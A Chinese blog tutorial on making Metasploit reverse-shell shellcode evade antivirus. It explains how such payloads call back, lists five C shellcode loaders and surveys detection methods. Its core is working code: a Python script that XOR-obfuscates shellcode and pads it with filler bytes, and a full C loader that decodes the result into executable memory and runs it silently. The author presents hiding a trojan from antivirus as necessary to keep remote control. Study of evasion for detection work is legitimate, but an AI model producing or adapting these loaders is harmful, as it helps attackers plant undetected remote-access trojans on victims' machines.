免杀基本知识,shellcode混淆免杀

一、shellcode分析及免杀的必要性

shellcode是一段十六进制的机器码,插入内存后会被翻译成为CPU的指令,用于执行相关操作。渗透中的shellcode的主要功能就是反弹shell。将shellcode编译成为exe文件后,执行文件主要进行以下三个操作,建立tcp连接,远程执行命令,退出程序。首先可执行文件会与对应的远控软件建立tcp连接,建立连接后就会等待远程主机发送指令,可执行文件会将接收到的指令传送给相应的函数,并将新的进程的标准输出和错误输出通过tcp连接传送给远程主机,实现远程执行命令。退出程序是指在shellcode执行完以后,会自动释放内存,关闭tcp连接,返回调用前的进程。这里实际感受和分析一下shellcode。

 

1、这里首先使用msf生成基于windows的32位的反弹shell的c/c++语言格式的shellcode。

1702946985_6580e8a932b2ba371f820.png!small?1702946984236

使用visual studio进行生成exe文件,这里使用方式四进行加载,后续会讲到。

1702947012_6580e8c442bedc5ef00d9.png!small?1702947011424

这里是五种常见的加载代码的方式,选择Release模式,系统为x86,选择生成-->生成解决方案。将生成的exe文件放到相应的win32系统上面运行,msf方面就会上线,(注意目前的shellcode没有做免杀,测试时将杀毒软件关闭)。接下来让我们分析一下这个exe文件时如何上线到正确的地址的。这里联系msf源码中的windows的reverse_tcp.rb进行分析。

1702947037_6580e8ddb62e988638c11.png!small?1702947036528

根据源代码我们看到在执行完call ebp以后,就执行了设置地址的操作,也就是说在shellcode中存在了反弹连接的ip地址,这里我们将生成的exe程序放到debug程序中,根据c的源代码,我们的shellcode是在call eax中,所以首先要搜索call eax步入进去以后就进入到shellcde中的代码,在shellcode中找到call ebp。

1702947062_6580e8f6d513854a98c34.png!small?1702947063322

找到后我们发现有两个数据被压入栈中,这里就是要连接的IP地址和端口,我们进行解密查看一下,

1702947133_6580e93d2a9bbbcffb332.png!small?1702947131971

下面一个是端口:

1702947155_6580e953d48a211ab51c4.png!small?1702947154752

在msf的代码中,在设置完地址后就进行了socket连接。至此反弹shell的工作就已经完成。但是这里就有一个问题,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,显然这是很步安全的(对渗透测试者来说),如果杀毒软件发现我们的可执行文件是一个木马程序,轻则会阻止木马 的回连,并不影响我们用于远控的主机;重则可以通过对病毒程序的分析得到远控主机的ip地址,如果我们这台主机还控制着内网中的其他主机,那么他们封了这台主机的IP,就会导致其他机器掉线。由此可见,让木马程序不被杀毒软件发现是十分必要的。

shellcode加载器

1、加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。这里主要介绍几种常见的加载器(基于C语言)。

1702947187_6580e973e322665aa7dcc.png!small?1702947187065

这里借用刚刚的图,上图就是五种常见的加载器。现在进行一次分析。

2、指针执行:

((void(*)(void)) & buf)();

这是C语言中一种类型转换和函数调用的方式。他会将buf的地址转换为一个无参数、无返回值的函数指针,并调用这个函数。buf中是我们shellcode的内容,(void()(void))是一个函数指针类型,标识没有参数没有返回值类型的函数。&buf表示取buf的地址。 (void()(void)) &buf表示将buf地址转换为一个无参数无返回值的函数的指针,((void(*)(void)) &buf)()表示调用这个函数。

3、强制类型转换:

((void(WINAPI*)(void))&buf)();

这段代码与指针执行的极为相似,唯独多了WINAPI,这个的意思是这个函数指针的调用约定是WINAPI,函数调用约定定义了函数参数如何传递,以及如何接收返回值。不同的调用约定可能会有不同的参数传递方式,以及由谁来清理栈(调用者还是被调用者)。WINAPI 是 Windows API 的函数调用约定,也被称为 __stdcall。这是 Windows 平台上的一种常见的调用约定,主要用于 Win32 API。

4、申请动态内存加载:

char* Memory;
 Memory =(VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
 memcpy(Memory, buf, sizeof(buf));
 ((void(*)())Memory)();

就是动态的在内存中申请一块地址,将buf中的代码复制到其中,并将这块内存区域作为一个函数来执行。具体分析:char* Memory定义了一个字符指针(VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));调用了VirtualAlloc函数在进程的虚拟地址空间中动态分配一块内存,大小是buf的大小,这块内存可以读、写、执行。reinterpret_cast<char>将地址转换为char类型,并将值赋给Memory。memcpy(Memory, buf, sizeof(buf));将buf中的内容赋值给指定的Memory区域,((void(*)())Memory)();将Memory转换为一个无参无返回值的函数并调用执行。

5、嵌入汇编加载:

__asm {
       lea eax, buf
       call eax
}

这段代码就很容易理解了,直接将buf的的偏移地址加到eax寄存器中,直接使用call指令调用eax寄存器,cpu就会进入到buf中执行shellcode代码中的相关操作。

6、汇编花指令:

__asm{
    mov eax, offset shellcode
    _emit 0xFF
    _emit 0xE0
}

这段代码与上面的嵌入汇编加载差不多,首先使用mov eax,offset shellcode将shellcode的偏移值存在eax寄存器中,下面两段代码使用_emit指令直接插入机器码,翻译官以来就是jmp eax的意思。

现在来看上面我们在分析生成的exe文件时为什么要先找到call eax并进入,因为只有这样才能进入到shellcode中。并且选择嵌入汇编加载的原因就是因为这样我们才能在OllyDBG中准确的找到shellcode执行的部分,其他的我们并不知道shellcode在内从中被加载到了哪里。

杀毒软件查杀原理

1、了解到病毒的的相关知识以后,我们就需要了解杀毒软件查杀病毒的原理。杀毒软件,国内常见的就是火绒安全,360。国外最多见的就是卡巴斯基。还有就是windows环境自带的Microsoft Defender。由强到弱就是卡巴斯基,360,Microsoft Defender,火绒。下面就介绍杀毒软件的工作方式,静态查杀(特征码匹配),动态查杀(内存查杀),主动防御(行为检测)、云查杀。

2、静态查杀:就是通过匹配特征码进行判断是否为病毒程序。安全公司通过收集病毒样本进行分析提取出一段这个病毒独一无二的特征,只要在检测时发现有存在这个特征的就直接报毒,这种方法简单有效,理论上只要有足够多的病毒样本,就能查杀出病毒。

3、动态检测:上面的静态查杀虽然可以查杀病毒,但是我们可以通过加壳技术来实现绕过,所谓加壳技术就是先将shellcode的源码进行混淆,在程序入口的位置再还原即可,简单来说就是先对十六进制的机器码进行运算(加、减、异或、加密等),在加载器之前在使用代码进行相关的逆操作,还原为原来的代码。这样来看,原有的特征码已经被破坏,就饶过了静态检测。但是执行病毒程序时,由于我们进行相关的还原操作,所以加载到内存中的内容还是我们原本的shellcode,由此推出了内存查杀。要想执行程序就要加载到内存中执行,只要加载到内存里面,shellcode就恢复了它最初的状态,所以杀毒软件就可以在程序运行后到内存中去检测,进行特征的匹配,查杀病毒。

4、主动防御:主动防御主要是用来检测未知病毒以及已知病毒的变种,就是说在没有特征码的情况下进行病毒查杀,原理就是行为检测。不管病毒伪装的多么高深,他的目的是不会变的,那么我们可以通过检测程序的行为判断是否为病毒,如检测程序的文件操作,注册表操作,网络操作,进程操作,某些函数的调用等。分为静态启发和动态启发。静态启发就是在不进行运行的情况下通过对exe进行简单的反汇编,查找一些特定的指令和API的调用;动态启发就是在虚拟的环境中运行程序,检测程序的行为。

5、云查杀:就是将程序上传到云沙箱,执行程序,检测程序的行为,判断是否为木马。最常见的就是360,刚刚上传的木马没有报毒,但是几分钟之内就会被检测为病毒程序,就是因为360会使用云查杀技术,这也是360查杀能力强的原因。

shellcode混淆实现绕过

常见的混淆技术就是加、减、异或、插入字符、AES、RC4等,这里使用的是异或(异或两次后结果不变)和插入字符。混淆的原理就是破坏木马的特征码,避免杀毒软件的特征码检测。我们的木马程序最终需要编译成为exe形式的文件,可以直接在目标机器上执行。上面说到所有msf生成的木马最终都会以原样加载进入内存。所以我们就很好理解混淆是怎么实现的了,只需要先进行混淆,在加载器加载时按逆行的形式进行解密还原后在加载即可。其中python脚本用于加密。

def toxor(shellcode,key1,key2):#做两次不同的异或,先对偶数位做异或,再对三的倍数位作异或
    shellcode1=""
    final_shellcode=""
    lenshell=len(shellcode)
    lenkey1=len(key1)
    lenkey2=len(key2)
    u=0
    for i in range(0,lenshell):
        a = ord(shellcode[i])#转换为unicode编码,unicode的前128位和ascii一致,转换是为了方便进行异或计算
        c=chr(a)
        if i%2==0:
            b=ord((key1[u%lenkey1]))
            m=a^b
            m=chr(m)
            shellcode1+=m
            u+=1
        else:
            shellcode1+=c

    v=0
    for i in range(0, lenshell):
        h=ord(shellcode1[i])
        j=chr(h)
        if(i%3==0):
            k=ord((key2[v%lenkey2]))
            n=h^k
            n=chr(n)
            final_shellcode+=n
            v += 1
        else:
            final_shellcode+=j
    return final_shellcode

def addcode(shellcode,key1):#插入字符,这里插入两个字符串
    final_shell=""
    lenkey1=len(key1)
    lenshell=len(shellcode)
    for i in range(0,lenshell):
        final_shell+=shellcode[i]
        final_shell+=key1[i%lenkey1]
    return final_shell
def tohex(shellcode):#转换为十六进制
    final_shellcode=""
    lenshell=len(shellcode)
    for i in range(0,lenshell):
        y=hex(ord(shellcode[i])).replace('0x','')#转换为十六进制,将0x抓换位空
        if len(y)==1:#如果转换为十六进制只有一位,就进行补0操作
            y="0"+y
        final_shellcode=final_shellcode +"\\x"+y
    return final_shellcode

shellcode=""#写入msf生成的shellcode代码
print(len(shellcode))
keya="aqikuaipao"
keyb="yeshenyue"
keyc="gaoqing"
shellcode=toxor(shellcode,keya,keyb)
shellcode=addcode(shellcode,keyc)
print(tohex(shellcode))

一下时加载器代码,C语言编写:

#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "";

void main() {
	int len_ori_shell = 0;//加密后shellcode的长度
	int len_fin_shell = 0;//解密后shellcode的长度
	char key1[] = "aqikuaipao";
	char key2[] = "yeshenyue";
	int len_key1 = sizeof(key1)-1;
	int len_key2 = sizeof(key2)-1;
	unsigned char* fin_shell;//解密后的shellcode,类型为unsigned char*方便载入内存
	int m;

	len_ori_shell = sizeof(shellcode);
	len_fin_shell = (len_ori_shell + 1) / 2;//
	fin_shell = (char*)malloc(len_fin_shell);


	//除去添加到其中的字符
	m = 0;
	for (int i = 0; i < len_ori_shell; i++) {
		if (i % 2 == 0) {
			fin_shell[m] = shellcode[i];
			m++;
		}
	}
	//进行两次异或解密
	int n = 0;
	for (int i = 0; i < len_fin_shell; i++) {
		if (i % 3 == 0) {
			fin_shell[i] = fin_shell[i] ^ key2[n % len_key2];
			n++;
		}
	}
	m = 0;
	for (int i = 0; i < len_fin_shell; i++) {
		if (i % 2 == 0) {
			fin_shell[i] = fin_shell[i] ^ key1[m % len_key1];
			m++;
		}
	}
	PVOID p = NULL;
	p = VirtualAlloc(NULL, len_fin_shell, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (p == NULL)
	{
		return;
	}
	memcpy(p, fin_shell, len_fin_shell);
	CODE code = (CODE)p;
	code();
}

生成exe文件后放在目标机器上运行,点击运行就可以上线。这段代码仅作为演示,思路可以进行扩展,例如插入多次字符打乱shellcode等。但是现在这样的混淆的加密方式已经不能绕过杀毒软件。因为杀毒软件都已经使用沙盒检测进行病毒的检测,例如火绒的文件实时监控就使用了行为沙盒检测,会在文件落地的一瞬间进行放到沙盒中观测行为,这里需要其他方式进行绕过。具体会在后续文章中继续介绍。

1702949624_6580f2f877a333377067e.png!small?1702949623200

杀软知识补充

现在杀毒的主要检测形式之一就是行为沙盒检测,通过检测文件行为判断是否是木马程序。包括360杀毒,很多时候在上传木马后,360不会检测出来,但是一段时间内(3分钟)就会被杀毒,同时msf监听程序会收到莫名主机的ip,这是因为360会将文件上传到自己的云沙箱检测行为,判断是否为病毒,这就是360的强大之处。

声明

本文为本人学习免杀知识的历程,观看小迪的视频,知识点小迪视频都有,脚本是借鉴一篇文章,一下是原文章地址加载混淆的shellcode实现静态免杀 - SAUCERMAN (saucer-man.com)。免杀脚本主要是理解思路,尽量自己写,网上开源的免杀项目有很大可能性已经被加入特征库了。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

  • 30
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值